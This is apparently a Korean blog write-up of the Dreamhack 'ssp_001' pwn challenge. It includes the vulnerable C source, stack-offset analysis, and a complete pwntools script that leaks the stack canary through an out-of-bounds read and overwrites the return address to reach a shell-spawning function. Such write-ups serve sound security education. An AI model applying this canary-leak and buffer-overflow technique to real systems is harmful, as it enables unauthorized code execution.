이전에 풀던 문제들처럼 단순하게 배운 내용을 사용해보는 정도에서 조금 더 나아가 약간의 응용이 필요한 문제였습니다. 갑자기 확 어려워진 느낌을 받아서 약간 당황스러웠네요..

적용된 보안 기법부터 살펴보겠습니다.

32비트이며 canary가 적용되어 있습니다.
다음으로 문제 파일인 ssp_001.c를 보겠습니다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
가장 먼저 눈에 띄는 부분은 get_shell 함수가 존재한다는 점입니다. 따라서 스택의 return address를 get_shell로 변경해주는 것이 최종 목표가 될 것 입니다.
main에는 switch문이 반복해서 실행됩니다. select를 입력 받은 후 switch문이 실행되는데 한 케이스씩 살펴보겠습니다.
먼저 'F'케이스는 box를 input받으나 크기가 제한되어있어 공격에 사용하기는 쉽지 않아 보입니다. get_shell 함수가 존재하지 않았다면 box에 execve 셸 코드를 담아 return address를 box로 덮는 방법을 고려할 수 있으나 get_shell이 주어졌으므로 그럴 필요가 없습니다.
다음으로 'P'케이스는 index를 입력받고 print_box(box, idx)를 실행합니다. print_box는 box[idx]를 두자리 16진수로 출력해줍니다. idx에 적절한 값을 넣으면 canary를 얻을 수 있을 것 같습니다.
마지막 'E'케이스 입니다. name_len을 입력받은 후 그 길이만큼의 name을 입력받습니다. name_len을 정할 수 있으므로 길이 제한이 없는 read라고 봐도 무방합니다. 'P'케이스에서 얻은 canary를 사용해 return address overwrite를 사용하여 문제를 해결할 수 있을 것 같습니다.
스택에 저장된 변수는 box, name, select, idx, name_len입니다.
pwndbg로 main함수를 살펴보겠습니다.

while문 내부에 select를 받는 read입니다. select의 주소가 ebp-0x8a임을 확인할 수 있습니다.

case 'F'입니다. box의 주소는 ebp-0x88임을 알 수 있습니다.
마찬가지로 case 'P'와 case 'E'도 살펴보겠습니다.

idx의 주소는 ebp-0x94입니다.

name_len의 주소는 0x90, name의 주소는 0x48입니다.

canary를 검사하는 부분입니다. canary의 주소는 0x8인데 32비트이므로 canary는 4바이트입니다. 따라서 4바이트의 더미 데이터가 canary와 ebp 사이에 존재함을 알 수 있습니다.
지금까지 얻은 정보로 스택을 그려보겠습니다.

익스플로잇의 큰 줄기는 다음과 같습니다.
1. case 'P'에서 canary 얻기
2. case 'E'에서 return address overwrite로 셸 획득
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = remote("host1.dreamhack.games", 22512)
e = ELF("./ssp_001")
기본 설정입니다.
cnry = b""
i = 131
while i >= 128:
p.sendlineafter("> ", 'P')
p.sendlineafter('index : ', str(i))
p.recvuntil("is : ")
cnry += p.recvn(2)
i -= 1
cnry = int(cnry, 16)
slog("Canary", cnry)
canary를 얻기 위해 case 'P'의 print_box 함수를 활용해 보겠습니다. print_box는 box[idx]를 두 자리 16진수로 출력해줍니다. 저희는 box와 canary 사이의 거리를 알기 때문에 이를 사용해 canary를 한 바이트씩 출력할 수 있습니다. box와 canary간 거리는 0x80바이트, 즉 128바이트이므로 canary는 box[128], box[129], box[130], box[131]입니다. while문을 사용해서 canary를 얻어주겠습니다. 이 때 리틀 엔디안 방식을 사용하므로 역순으로 더해주었습니다.
p.sendlineafter("> ", 'E')
p.sendlineafter("Size : ", str(0x50))
payload = b'A' * 0x40 + p32(cnry) + b'B' * 8
#get_shell의 메모리 주소
get_shell = e.symbols["get_shell"]
payload += p32(get_shell)
p.sendlineafter("Name : ", payload)
p.interactive()
이제 payload를 전달할 수 있도록 충분한 name_len을 설정해 준 다음 return address에 get_shell을 넣어주면 해결할 수 있습니다.
아래는 완성된 코드입니다.
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = remote("host1.dreamhack.games", 22512)
e = ELF("./ssp_001")
cnry = b""
i = 131
while i >= 128:
p.sendlineafter("> ", 'P')
p.sendlineafter('index : ', str(i))
p.recvuntil("is : ")
cnry += p.recvn(2)
i -= 1
cnry = int(cnry, 16)
slog("Canary", cnry)
p.sendlineafter("> ", 'E')
p.sendlineafter("Size : ", str(0x50))
payload = b'A' * 0x40 + p32(cnry) + b'B' * 8
get_shell = e.symbols["get_shell"]
payload += p32(get_shell)
p.sendlineafter("Name : ", payload)
p.interactive()
셸을 얻어 플래그를 얻는데 성공하였습니다.
